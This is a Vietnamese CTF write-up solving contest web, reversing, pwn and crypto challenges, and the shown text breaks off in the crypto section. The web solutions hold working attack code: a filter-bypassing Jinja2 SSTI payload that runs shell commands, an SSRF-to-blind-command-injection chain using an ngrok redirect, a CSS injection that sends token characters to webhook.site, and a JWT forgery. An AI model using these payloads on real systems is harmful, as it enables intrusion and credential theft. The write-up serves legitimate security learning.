# Nhập môn lập trình contest # WEB ## SSTI FOR KIDS Ở đây, mình thấy rằng bài này đã ban một số từ khóa vô cùng cẩn thận, làm khó khăn cho việc sử dụng SSTI một cách trực tiếp. <details> <summary>Forbidden keywords</summary> ```python= def check_payload(payload): forbidden_chars = ["[", "]", "_", ".", "x", "dict", "config", "mro", "popen", "debug", "cycler", "os", "globals", "flag", "cat"] payload = payload.lower() for char in forbidden_chars: if char in payload: return True return False ``` </details> Chính vì vậy, mình tìm hiểu và tìm được một blog về [SSTI](https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/), sử dụng ý tưởng về việc thay thế các object class bằng hàm attr() để truy cập vào thuộc tính của đối tượng request (mà ở đây là `__class__`). Đồng thời, mình cũng kết hợp với hàm format() để đưa các chuỗi tên của thuộc tính mình cần khai thác mà không cần phải gọi trực tiếp, nhằm bypass các forbidden keywords mà đề bài đã cho. ![image](https://hackmd.io/_uploads/B1RTHEPLyx.png) Đây là payload mình dùng để khai thác SSTI: ```jinja2= {{ request|attr("application")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")("cat $(find / -type f -name *lag*)")|attr("read")() }} ``` Và sau khi thay đổi lại payload mình sẽ được ```jinja2= {{request|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(97,112,112,108,105,99,97,116,105,111,110))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,108,111,98,97,108,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,98,117,105,108,116,105,110,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c%c%c%c%c%c%c"|format(95,95,105,109,112,111,114,116,95,95))('o''s')|attr('p''open')('c"a"t $(find / -type f -name *lag*)')|attr("re""ad")()}} ``` Đây là đoạn code exploit cho SSTI for Kids: <details> <summary>exploit.py</summary> ```python= import requests from urllib.parse import quote def gen(p): num_c = len(p) chrs = "" for i in p: chrs += str(ord(i)) + "," chrs = chrs[:-1] return f'attr(\"{"%c"*num_c}\"|format({chrs}))' def gen2(p): num_c = len(p) chrs = "" for i in p: chrs += str(ord(i)) + "," chrs = chrs[:-1] return f'(\"{"%c"*num_c}\"|format({chrs}))' url = 'http://localhost:38787/' #url = 'http://chall.w1playground.com:38787/' payload = f'{{request|{gen("application")}|{gen("__globals__")}|{gen("__getitem__")}{gen2("__builtins__")}|{gen("__getitem__")}{gen2("__import__")}(\'o\'\'s\')|attr(\'p\'\'open\')(\'c"a"t $(find / -type f -name *lag*)\')|attr("re""ad")()}}' print('{'+payload+'}') params = { 'ssti': '{'+payload+'}' } response = requests.get(url, params=params) if response.status_code == 200: print(response.text) else: print(f"Request failed with status code: {response.status_code}") ``` </details> ![image](https://hackmd.io/_uploads/rJwuSVw8yg.png) > Flag: W1{You_are_not_a_kid_anymore!888888888} ## DOX LIST <details> <summary>app.py</summary> ```python= from flask import Flask, request, jsonify import subprocess import pymongo client = pymongo.MongoClient("mongodb://mongodb:27017/app") app_db = client['app'] app = Flask(__name__) @app.route('/') def hello_world(): return 'Hello, World!' @app.route('/health_check') def health_check(): cmd = request.args.get('cmd') or 'ping' health_check = f'echo \'db.runCommand("{cmd}").ok\' | mongosh mongodb:27017/app --quiet' try: result = subprocess.run(health_check, shell=True, capture_output=True, text=True, timeout=2) return 'Database is responding' if '1' in result.stdout else 'Database is not responding' except subprocess.TimeoutExpired: return 'Database is not responding' @app.route('/api/dogs') def get_dogs(): dogs = [] for dog in app_db['doxlist'].find(): dogs.append({ "name": dog['name'], "image": dog['image'] }) return jsonify(dogs) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) ``` </details> Ở bài này, mình thấy được rằng project có một folder backend được làm bằng python. Và mình sẽ không thể truy cập vào các đường dẫn trong app.py vì trong file docker, backend không được khai báo port nên container này sẽ không mở bất kì port nào cho backend. <details> <summary>docker-compose.yml</summary> ```dockerfile= services: frontend: build: ./frontend environment: - PORT=4000 ports: - "4000:4000" backend: build: context: ./backend dockerfile: Dockerfile depends_on: - mongodb mongodb: build: context: ./mongodb dockerfile: Dockerfile restart: unless-stopped ``` </details> Lúc này, nhờ hint về việc tìm một CVE của nuxt, mình thấy rằng nuxt có [CVE-2024-42352](https://nvd.nist.gov/vuln/detail/CVE-2024-42352) liên quan đến SSRF. ![image](https://hackmd.io/_uploads/SyUI_NDI1e.png) Trong đoạn [commit](https://github.com/nuxt/icon/commit/4564518c2b2ed8235a7715056ccdfce96ca3d0ff) mà một tác giả của nuxt đã chia sẻ, ta thấy rằng nuxt nhận icon bằng việc thêm các tên icon đằng sau `/api/_nuxt_icon/` và sau đó nhận tên icon bằng hàm basename, và cuối cùng sử dụng URL constructor để tạo một url `https://api.iconify.design/{icon_name}`. ![image](https://hackmd.io/_uploads/SJ6VONwL1e.png) Tuy nhiên, trong tài liệu của Mozilla về [URL Constructor](https://developer.mozilla.org/en-US/docs/Web/API/URL/URL), mình thấy rằng URL() khi nhận 2 param url, nó sẽ ưu tiên url đầu tiên được nhận, ví dụ như `URL("https://hi.com","hello.com")` thì nó sẽ ưu tiên tạo `https://hi.com`, đồng thời hàm basename sẽ lấy chuỗi nằm ở sau dấu `/` cuối cùng, nên khi chúng ta nhập `http://localhost:4000/api/_nuxt_icon/http:backend:5000` nó sẽ dẫn ra hàm hello_world trong backend (vì backend chung một mạng lưới của docker) ![image](https://hackmd.io/_uploads/HyczONPLyl.png) Thế nhưng, có một vấn đề về việc chúng ta sẽ không thể dẫn vào các subdirectory như `/health_check` hay `/api/dogs` vì basename() chỉ lấy chuỗi nằm ở sau `/` cuối cùng. Chính vì thế, mình nảy ra một ý tưởng được lấy cảm hứng từ bài [PDFy](https://medium.com/@Pdaysec/htb-pdfy-challenge-490e678bd521) của Hack The Box, thay vì truy cập trực tiếp vào `http://backend:5000`, mình sẽ tự host một trang web php (sử dụng ngrok) và dùng đặc tính của header [Location](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Location) để redirect tới trang backend, từ đó ta có thể tùy chỉnh các subdirectory trong header Location và dẫn tới `/health_check`. ![image](https://hackmd.io/_uploads/H11sOEPU1e.png) Trong Docker Desktop, mình nhận thấy rằng các lệnh như curl, nslookup, ... đều không có trong /bin (thực ra wget có thể sử dụng được nhưng lúc đó mình chưa nghĩ tới :v). Mình thấy rằng ở hàm health_check, khi có tồn tại một số 1 trong response của server, nó sẽ trả ra Database is responding và ngược lại. Chính vì thế mình nghĩ tới Blind Commmand Injection, dựa vào việc flag chứa số 1 (format là `W1{...}`) mình sẽ bruteforce từng kí tự bằng lệnh grep, nếu grep trả về đoạn flag thì Data is responding sẽ hiện lên. ![image](https://hackmd.io/_uploads/ByqD54vIkg.png) ![image](https://hackmd.io/_uploads/r1xUY4w8kx.png) Đây là đoạn code mà mình sử dụng để exploit: <details> <summary>index.php</summary> ```php= <?php header('location:http:backend:5000/health_check?cmd=")\'%26%26grep%20%5EW1%7B'.$_REQUEST['x'].'%20%2Fflag%2A;%23'); ?> ``` </details> <details> <summary>exploit.py</summary> ```python= import requests url = "http://chall.w1playground.com:38889/api/_nuxt_icon/http:1080-14-186-87-51.ngrok-free.app?x=" payload = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_" res = "" def oscmdi(inp): global payload for i in payload: print("Testing char: " + i) data = inp+i # print(data) req = requests.get(url=url+data) if "Database is responding" in req.text: inp+=i global res res = inp print("Found something: "+inp) oscmdi(inp) break; def run(): global payload # payload = oscmdi_dic() oscmdi(res) print("End Blind OS Command Injection!!! The password is "+res) run() ``` </details> >Flag: W1{cut3_d0x_c4n_b3_d4ng3r0u5_jn3} ## ART GALLERY ADVANCED <details> <summary>bot.js</summary> ```javascript= const puppeteer = require("puppeteer"); async function visit(url) { const browser = await puppeteer.launch({ args: ["--no-sandbox"], headless: "new", }); let context = await browser.createBrowserContext(); try { // console.log(`visit url: ${url}`); const page = await context.newPage(); await page.goto(`http://localhost:1337/login`, { waitUntil: 'networkidle2' }); await page.type('input[name="username"]', 'admin'); await page.type('input[name="password"]', process.env.ADMIN_PASSWORD || 'admin'); await page.click('button[type="submit"]'); await page.waitForNavigation(); await page.goto(`${url}`, { waitUntil: 'networkidle2', timeout: 10000 }); await new Promise(resolve => setTimeout(resolve, 5000)); await browser.close(); } catch (error) { console.error("Error:", error); } try { await browser.close(); console.log("Browser Closed"); } catch (e) { console.log(e); } } module.exports = { visit }; ``` </details> Ở bài này mình thấy rằng có một file bot.js dùng duyệt browser và truy cập vào url được gửi đến, đây là một đặc điểm để nhận biết cái bài về xss. <details> <summary>index.js</summary> ```javascript= const express = require('express'); const app = express(); const jwt = require('jsonwebtoken'); const nunjucks = require('nunjucks'); const cookieParser = require('cookie-parser'); const auth = require('./middleware/auth'); const csp = require('./middleware/csp'); const debug = require('./middleware/debug'); const rateLimit = require('express-rate-limit'); const { users, JWT_SECRET, setDebugMode, getDebugMode } = require('./setup'); const crypto = require('crypto'); const { visit } = require('./bot'); const PORT = 1337; const templates = new Map(); app.use(cookieParser()); app.use(express.json()); nunjucks.configure('templates', { autoescape: true, express: app }); const apiLimiter = rateLimit({ windowMs: 60 * 1000, // 1 minutes limit: 8, message: { success: false, message: 'Too many requests' }, }); app.use(express.static('public')); app.use((req, res, next) => { res.nonce = crypto.randomBytes(18).toString('base64').replace(/[^a-zA-Z0-9]/g, ''); next(); }) app.use((req, res, next) => { // Should be safe right? if (!req.theme) { const theme = req.query.theme; if (theme && !theme.includes("<") && !theme.includes(">")) { req.theme = theme; }else{ req.theme = 'white'; } } next(); }) users.set('admin', Object.freeze({ username: 'admin', password: process.env.ADMIN_PASSWORD || 'admin', role: 'admin', security_token: crypto.randomBytes(15).toString('base64').replace(/[^a-zA-Z0-9]/g, '').toLowerCase() })); console.log(users.get('admin').password); console.log(users.get('admin').security_token); templates.set('1', { author: 'admin', template_name: 'Test template', description: 'Yukino is the best ?', content: 'Check this image <br> <img src="https://r4.wallpaperflare.com/wallpaper/502/690/499/anime-girls-anime-yukinoshita-yukino-yahari-ore-no-seishun-love-comedy-wa-machigatteiru-wallpaper-c90048fd217aaddb064738df4081561d.jpg" />', id: 1, coverImage: 'https://r4.wallpaperflare.com/wallpaper/502/690/499/anime-girls-anime-yukinoshita-yukino-yahari-ore-no-seishun-love-comedy-wa-machigatteiru-wallpaper-c90048fd217aaddb064738df4081561d.jpg' }); app.get('/', auth, csp, (req, res) => { res.render('templateslist.html', { user: req.user, templates: templates, theme: req.theme, nonce: req.nonce }); }); app.get('/login', (req, res) => { res.sendFile(__dirname + '/templates/login/login.html'); }); app.get('/register', (req, res) => { res.sendFile(__dirname + '/templates/register/register.html'); }); app.post('/register', (req, res) => { const { username, password } = req.body; if (users.has(username)) { return res.json({ success: false, redirect: '/register', message: 'Username already exists' }); } const SECURITY_TOKEN = crypto.randomBytes(15).toString('base64').replace(/[^a-zA-Z0-9]/g, '').toLowerCase() var info = { username, password, role: 'user', security_token: SECURITY_TOKEN }; users.set(username, info); return res.json({ success: true, redirect: '/login' }); }); app.post('/login', (req, res) => { const { username, password } = req.body; const user = users.get(username); if (!user || !(password === user.password)) { return res.json({ success: false, redirect: '/login', message: 'Invalid username or password' }); } const token = jwt.sign({ username: user.username, role: user.role, SECURITY_TOKEN: user.security_token }, JWT_SECRET, { expiresIn: '3h' }); res.cookie('token', token); return res.json({ success: true, redirect: '/' }); }); app.get('/profile', auth, csp, (req, res) => { res.render('profile.html', { user: req.user, theme: req.theme, nonce: res.nonce }); }); app.post('/profile', auth, (req, res) => { try { const { name: new_username } = req.body; const current_Username = req.user.username; if (current_Username === 'admin') { return res.json({ success: false, redirect: '/profile', message: 'What are you trying to do ?' }); } if (!new_username) { return res.json({ success: false, redirect: '/profile', message: 'All fields are required' }); } if (users.has(new_username)) { return res.json({ success: false, redirect: '/profile', message: 'Username already exists' }); } const userdata = users.get(current_Username); users.delete(current_Username); users.set(new_username, { ...userdata, username: new_username }); const user = users.get(new_username); const token = jwt.sign({ username: user.username, role: user.role, SECURITY_TOKEN: user.security_token }, JWT_SECRET, { expiresIn: '1h' }); res.cookie('token', token); return res.json({ success: true, redirect: '/profile', message: 'Username has been changed successfully' }); } catch { return res.json({ success: false, redirect: '/profile', message: 'Something went wrong' }); } }); app.get('/logout', (req, res) => { res.clearCookie('token'); return res.redirect('/login'); }); app.get('/create', auth, csp, (req, res) => { res.render('create.html', { user: req.user, theme: req.theme, nonce: res.nonce }); }); app.post('/create', auth, (req, res) => { try { const { template_name, description, content, coverImage } = req.body; if (!template_name || !description || !content) { return res.json({ success: false, redirect: '/create', message: 'All fields are required' }); } var id = crypto.randomBytes(16).toString("hex"); var info = { template_name, description, content, author: req.user.username, id, coverImage: coverImage || 'https://wallpapercrafter.com/desktop/150052-anime-anime-girls-night-sky.jpg' } templates.set(id, info); return res.json({ success: true, redirect: '/create', message: 'Template created successfully' }); } catch { return res.json({ success: false, redirect: '/create', message: 'Something went wrong' }); } }); app.get('/view/:id', auth, csp, (req, res) => { var template = templates.get(req.params.id); if (!template) { return res.status(404).send('Not found'); } return res.render('render/viewtemplate.html', { user: req.user, author: template.author, template_name: template.template_name, description: template.description, content: template.content, id: template.id, nonce: res.nonce, // Added nonce to the render for security theme: req.theme // Added theme to the render }); }); app.post('/report', auth, apiLimiter, async (req, res) => { var url = req.body.url; if (!url) { return res.status(404).json({ message: 'Not found' }); } if (!url.startsWith('http://localhost:1337/view/')) { return res.json({ success: false, message: 'Nice try kiddo!' }); } console.log("visiting url: ", url); try { visit(url); } catch (error) { console.log(error); } return res.json({ success: true, message: 'Report sent successfully' }); }); // ADMIN ZONE app.get('/api/debug', auth, csp, (req, res) => { if (req.user.role === 'admin' && (req.ip === '::1' || req.ip === "127.0.0.1" || req.ip === "::ffff:127.0.0.1")) { var debug_mode = req.query.debug_mode; if (debug_mode === 'true' && getDebugMode() === 'false') { setDebugMode('true'); console.log('Debug mode has been enabled'); res.json({ success: true, message: 'Debug mode enabled and will turn off in 5 mins' }); setTimeout(() => { setDebugMode('false'); console.log('Debug mode has been turned off'); }, 5 * 60 * 1000); return; } } else { return res.status(403).send('Forbidden'); } }); app.get('/admin', auth, csp, (req, res) => { if (req.user.role === 'admin' && req.user.SECURITY_TOKEN === users.get('admin').security_token) { return res.render('admin/admin.html', { user: req.user, FLAG: process.env.FLAG || 'W1{dont_you_wish_you_had_this_flag:)}' }); } else { return res.status(403).send('Forbidden'); } }); app.get('/api/update', auth, debug, csp, (req, res) => { if (req.user.role === 'admin' && (req.ip === '::1' || req.ip === "127.0.0.1" || req.ip === "::ffff:127.0.0.1")) { var username = req.query.username; // Grant developer role console.log(username, " is now a developer"); users.get(username).role = 'developer'; } else { return res.status(403).send('Forbidden'); } }); // Developer Zone app.get('/api/dev', auth, csp, debug, (req, res) => { if (req.user.role === 'developer' || req.user.role === 'admin') { return res.send('JWT_SECRET: ' + JWT_SECRET); } else { return res.status(403).send('Forbidden'); } }); app.listen(PORT, () => console.log(`Server is listening at http://localhost:${PORT}`) ) ``` </details> Đọc sơ qua qua đoạn code, mình thấy rằng tác giả đã gợi ý một số chi tiết để khai, bao gồm việc thay đổi theme được lấy từ param trên url (trong file index.js), và cắt các security token thành các thẻ span nhỏ (trong file profile.html) ![image](https://hackmd.io/_uploads/H1dM8rw81e.png) ![image](https://hackmd.io/_uploads/ByAeIBD8ke.png) Ở hint đầu tiên, mình thấy rằng khi mình nhập theme=black, background sẽ được thay đổi thành background: black, và màu nền của trang web được thay đổi. Tuy nhiên, mình có thể nhập bất cứ thứ gì, kể cả việc kiểm soát các thuộc tính của thẻ chứa SECURY TOKEN. ![image](https://hackmd.io/_uploads/H1qASS_IJx.png) Chính vì thế, mình search về css injection thì nhận được bài [blog](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) sau: ![image](https://hackmd.io/_uploads/SkHQdBdUke.png) Có thể thấy, mình có thể sử dụng unicode-range của [@font-face](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face) để kiểm tra sự tồn tại của chữ cái đó, nếu nó tồn tại, nó sẽ fetch đoạn url của loại font đó, lúc này ta chỉ cần đưa webhook vào src để css fetch là đã có thể xác thực được việc chữ cái đó có tồn tại hay không. Ngoài ra, nhận thấy rằng SECURITY_TOKEN được tách ra thành các span nhỏ, mình có thể dùng span:nth-child(num) để cụ thể các span sử dụng trong thẻ có class SECURITY_TOKEN. Ngoài ra, đường dẫn yêu cầu phải khởi đầu bằng `http://localhost:1337/view`, nên mình sẽ sử dụng path traversal bằng việc gán thành `http://localhost:1337/view/../profile?theme=`. Lúc này đường dẫn sẽ lược bỏ view và sử dụng subdirectory /profile. Đây là đoạn code mình dùng để tạo 8 request mỗi 61 giây để tránh rate limit: <details> <summary>cssInjection.py</summary> ```python= import urllib.parse import string import requests import time EVIL = "https://webhook.site/6aaa3ec1-bbcd-4752-a032-ae98be37403c" URL = "http://chall.w1playground.com:38888" LOCAL = "http://localhost:1337" s = requests.Session() def gen_css(n, char): return "@font-face{font-family:'hjhj';src:url('"+EVIL+"?"+char+'='+str(n+1)+"');unicode-range:U+00"+str(hex(ord(char))).replace("0x", "")+";}" def generate_payloads(): i = 0 token = string.ascii_lowercase + string.digits for n in range(0,20): gencss = "white;}" for char in token: gencss += gen_css(n, char) print(f"Payload {n+1}-{char}") gencss += " .SECURITY_TOKEN span:nth-child("+str(n+2)+"){font-family:'hjhj';}" payload = LOCAL+"/view/../profile?theme="+urllib.parse.quote(gencss) print(payload) post_resp = s.post(URL + "/report", json={"url": payload}) print(f"Report response: {post_resp.status_code} - {post_resp.text}") i += 1 if i % 8 == 0: print(f"Sleeping for 61 seconds...\n") time.sleep(61) # reg_resp = s.post(URL + "/register", json={"username": "guest", "password": "guest"}) # print(f"Registration response: {reg_resp.status_code} - {reg_resp.text}") login_resp = s.post(URL + "/login", json={"username": "guest", "password": "guest"}) print(f"Login response: {login_resp.status_code} - {login_resp.text}") generate_payloads() ``` </details> Lúc này sau khi thu thập được SECURITY_TOKEN, mình chỉ cần gán chỉ account của mình role developer bằng cách bật debug_mode lên, và truy cập /api/update và gán username của mình. Cuối cùng, mình truy cập thẳng vào `http://chall.w1playground.com:38888/api/dev` để nhận secret key của jwt và gán SECRET_TOKEN vừa tìm được. Đây là đoạn code mình dùng để exploit: <details> <summary>exploit.py</summary> ```python= import requests import jwt import datetime URL = "http://chall.w1playground.com:38888" LOCAL = "http://localhost:1337" def run(): s = requests.Session() login_resp = s.post(URL + "/login", json={"username": "guest", "password": "guest"}) print(f"Login response: {login_resp.status_code} - {login_resp.text}") debug_mode = s.post(URL + "/report", json={"url": f"{LOCAL}/view/../api/debug?debug_mode=true"}) print(f"Debug mode response: {debug_mode.status_code} - {debug_mode.text}") update = s.post(URL + "/report", json={"url": f"{LOCAL}/view/../api/update?username=guest"}) print(f"Update response: {update.status_code} - {update.text}") jwt_resp = s.get(URL + "/api/dev") print(f"JWT response: {jwt_resp.status_code} - {jwt_resp.text}") secret = jwt_resp.text.replace("JWT_SECRET: ", "").strip() print(f"JWT secret: {secret}") current_time = int(datetime.datetime.now().timestamp()) payload = { "username": "admin", "role": "admin", # edit SECRET_TOKEN (get from css_injection.py) "SECURITY_TOKEN": "uixblodu4smzrlroagnm", # Default token "iat": current_time, "exp": current_time + 3600 } new_token = jwt.encode(payload, secret, algorithm="HS256") print(f"Generated JWT: {new_token}") s.cookies.clear() s.cookies.set("token", new_token) flag_resp = s.get(URL + "/admin") print(f"Flag response: {flag_resp.status_code} - {flag_resp.text}") run() ``` </details> >Flag:W1{m15c0nf16_l34d5_70_4dm1n157r470r_p3rm5_message_@yuu2802_70_5h0w_y0ur_50lu710n} # REV ## GIACMOTRUA1 Ở bài này, mình nhận được 1 file .pyc. Sử dụng tool [pylingual.io](https://pylingual.io/), mình đã có thể decompile được file về code python: <details> <summary>GiacMoTrua1.py</summary> ```python= # Decompiled with PyLingual (https://pylingual.io) # Internal filename: chall.py # Bytecode version: 3.12.0rc2 (3531) # Source timestamp: 2024-12-27 06:57:21 UTC (1735282641) dic = [0] * 85 dic[0] = 33 dic[1] = 35 dic[2] = 36 dic[3] = 37 dic[4] = 38 dic[5] = 40 dic[6] = 41 dic[7] = 42 dic[8] = 43 dic[9] = 44 dic[10] = 45 dic[11] = 46 dic[12] = 47 dic[13] = 48 dic[14] = 49 dic[15] = 50 dic[16] = 51 dic[17] = 52 dic[18] = 53 dic[19] = 54 dic[20] = 55 dic[21] = 56 dic[22] = 57 dic[23] = 58 dic[24] = 59 dic[25] = 60 dic[26] = 61 dic[27] = 62 dic[28] = 63 dic[29] = 64 dic[30] = 65 dic[31] = 66 dic[32] = 67 dic[33] = 68 dic[34] = 69 dic[35] = 70 dic[36] = 71 dic[37] = 72 dic[38] = 73 dic[39] = 74 dic[40] = 75 dic[41] = 76 dic[42] = 77 dic[43] = 78 dic[44] = 79 dic[45] = 80 dic[46] = 81 dic[47] = 82 dic[48] = 83 dic[49] = 84 dic[50] = 85 dic[51] = 86 dic[52] = 87 dic[53] = 88 dic[54] = 89 dic[55] = 90 dic[56] = 91 dic[57] = 97 dic[58] = 98 dic[59] = 99 dic[60] = 100 dic[61] = 101 dic[62] = 102 dic[63] = 103 dic[64] = 104 dic[65] = 105 dic[66] = 106 dic[67] = 107 dic[68] = 108 dic[69] = 109 dic[70] = 110 dic[71] = 111 dic[72] = 112 dic[73] = 113 dic[74] = 114 dic[75] = 115 dic[76] = 116 dic[77] = 117 dic[78] = 118 dic[79] = 119 dic[80] = 120 dic[81] = 121 dic[82] = 122 dic[83] = 123 dic[84] = 125 flag = input('Let me help you check your flag: ') length = len(flag) ans = [0] * length * 2 for i in range(length): ans[i] = dic[ord(flag[i]) ^ 112] for i in range(length, length * 2): ans[i] = ans[i - length] fin = '' for i in range((23 * length + 16) % length, (23 * length + 16) % length + length): fin += chr(ans[i]) if fin == 'R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??': print('Rightttt!') print('Heyy you are really lovely, i promise!') else: print('Think more....') ``` </details> Có thể thấy dic bao gồm các chữ số và kí tự theo A-Z,a-z,0-9 và một số kí tự đặc biệt. Tiếp theo, mình có ans là một mảng dài gấp đôi flag, lúc này các phần tử thứ của ans được gán từ dic theo công thức flag[i] xor với 112.Sau đó chuỗi ans bị xoay lại. Cuối cùng, fin sẽ gán các kí tự từ (23 * độ dài của flag + 16) % length tới (23 * độ dài của flag + 16) % độ dài của flag + độ dài của flag, và check xem nó có giống với "R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??" hay không. Đây là đoạn code mình dùng để dịch ngược lại. <details> <summary>exploit.py</summary> ```python= dic = [33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 125] rev_dic = {v: i for i, v in enumerate(dic)} def flag(encrypted): slice_start = (23 * len(encrypted) + 16) % len(encrypted) rotated = encrypted[len(encrypted) - slice_start:] + encrypted[:len(encrypted) - slice_start] flag = '' for c in rotated: val = rev_dic[ord(c)] orig_char = val ^ 112 flag += chr(orig_char) return flag encrypted = 'R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??' print(flag(encrypted)) ``` </details> > Flag: W1{H3pe_y3U_w1ll_enJ9y_th2s_ch311_s0_m3c1!} ## GIACMOTRUA2 Trong bài này, khi mình sử dụng IDA để kiểm tra file, mình thấy rằng có một đoạn code khá giống flag. ![image](https://hackmd.io/_uploads/BkdRGsdIyx.png) Cứ tưởng bở rằng đã tìm được flag, thế nhưng khi mình submit thì hệ thống là không nhận. Thế là mình lại kiểm tra lại và phát hiện ra rằng còn một hàm LookThis() dùng để thay đổi các kí tự của biến flag sau đó mới kiểm tra. Chính vì vậy mình mang luôn flag mình vừa tìm được vào hàm LookThis() và nhận được flag thật. ![image](https://hackmd.io/_uploads/B1hj7s_8Jl.png) > Flag: W1{evil_sleeps_a5_NoOn_4v4ry_time!} ## EASY FLAG CHECKER Ở bài này, mình sử dụng ghidra và tìm thấy một hàm FUN_00101269() mang cho mình khá nhiều thông tin. Ngay khi chúng ta nhập vào biến local_4f8, sẽ có một biến con trỏ local_4f8 cùng với việc đã xor với 0x38. Sau đó nó so sánh với &DAT_00104020. Vậy mình chỉ cần dò &DAT_00104020 và xor lại với 0x38 là ra được flag. <details> <summary>exploit.py</summary> ```python= dat = [ 0x6f, 0x09, 0x43, 0x4e, 0x0b, 0x4a, 0x41, 0x67, 0x0b, 0x0c, 0x4b, 0x41, 0x67, 0x4a, 0x09, 0x5f, 0x50, 0x0f, 0x07, 0x45 ] flag = ''.join([chr(value ^ 0x38) for value in dat]) print(flag) ``` </details> # PWN ## GUESS ME Ở bài này, theo như mình quan sát, khi mình đoán một số bất kì, nó sẽ cho mình kết quả về số đấy lớn hơn kết quả hay nhỏ hơn. Dựa vào mô hình bài toán trên, mình sử dụng binary search để khai thác. <details> <summary>exploit.py</summary> ```python= from pwn import * p = remote('chall.w1playground.com', 12900) p.recvuntil(b'Good luck!\n') p.recvline().decode() l, r = 1, 100000000 while l <= r: mid = (l + r) // 2 p.recvline().decode() p.sendline(str(mid)) response = p.recvline().decode() print(str(mid)+": "+response.strip()) if 'correct' in response: print(mid) break elif 'Too high' in response: r = mid - 1 elif 'Too low' in response: l = mid + 1 p.interactive() ``` </details> # CRYPTO ## HIX Ở bài này, có thể thấy rằng code đọc file flag, sau đó cộng 20 rồi chia mod 130. Sau đó random việc sử dụng hàm băm. Vì vậy mình sẽ tạo một tổ hợp chứa tất cả các kết quả băm, sau đó tìm đoạn hàm băm đã được sử dụng và làm ngược lại các phép tính để ra được flag. <details> <summary>exploit.py</summary> ```python= import hashlib def generate_lookup_table(): lookup = {} methods = ['md5', 'sha256', 'sha3_256', 'sha3_512', 'sha3_384', 'sha1', 'sha384', 'sha3_224', 'sha512', 'sha224'] for i in range(130): base_hash = hashlib.sha512(str(i).encode()).hexdigest() possible_hashes = set() for method in methods: hash_obj = hashlib.new(method) hash_obj.update(base_hash.encode()) possible_hashes.add(hash_obj.hexdigest()) for hash_result in possible_hashes: lookup[hash_result] = i return lookup def decrypt_flag(encrypted_data): lookup = generate_lookup_table() flag = "" for hash_value in encrypted_data: if hash_value in lookup: num = lookup[hash_value] original = (num - 20) % 130 flag += chr(original) return flag ct = ['f189636f8eef640b55d03387864fd17efd324453cc9276be5ff6bd4da88b13fca72438daaab00830a6d14330d37c0f7bee1e7c32d5dda0541a171f66a2343dc1', '1388cafa58065fa0c04372ce57f303cc4ec9fe62', 'f6266e2849bf8b8575701814cc3f3eb5369e887db54b34e85b1e4608b4fbf5e5', '31f33ac191e818db784cf8321d70f84763db2b2e599f90cf65868eec85a10f20ae0e23aa1cd48c2f13eec355b2975089490761a291ac2a1bcf33f5fbecead431', '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5', 'f06ffaaa6290bf47d26ba2c09c28dddd8f5bcad6ac464ec17fea48040acf1214d10bc109b7c47cffddb6bccd6b61b61a9e629a8f47ab26b80593f29c8c297489', 'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f', '85245de371c327440a5f343f27d6df361225806e679950bab3a5a336', 'ea1923e909de3c3c3384ad9ae7696d73', '21df20aab35967470aada32375f535d4a735789bf0789fd421f85163c4d75c6e', 'b9491ae1a9de40d30a86c00139bd7d6f496f5bf4ce013bc2d5a43a97', '03f061f60f3527b15ff31d31dcce0761', '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5', 'f2a1a7e9dd5e6363050b0cdb0579ebfebdc5e348ab538bdcf47616139351cf2b9f92cb4d14446b3ad8bf182875b81e75', '24aaafc58a2b897aed5829b2e96d73b1de7cd680d76a1143cdc8baef', '6d80d11e5f1161ef86619dcdb186852b5218d6ac224b81b63555fe73741631c36ae0bcb5b3228fbed796c22dedeed587c9d65ddb825aee4fae92b6619e7ffd8f', '6f8b39550106044625102ee0cabf9fe1393f0013388633d5742fcc7e8df7708793a96885b9d18b795a2b0d9014704b9f', 'ddf3c543be9cac44f3af078583fe5fddb64104d93308c146c23f52ff25b2a6e23606c42dc0060a4dd9b11b446759cb5de1844471eb3d6d25c43c6fcc0d8d60c4', '95f2739053cf64555b0c0662b5e2d63822433f7fcac6960de6d57efda427461a58c6e2ffac6da6f4caa9407df10cc0be', 'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23', 'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f', '2b4561a521a82af6a26dfb76078ca97ba53a720f7ee67d923a6d3a13', 'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e', 'd798a32b52384219f8779dccf8b2173f4b73f075cbeb4507ee83c94e', 'b863fa3492fb87edcdef766f38a508ed', 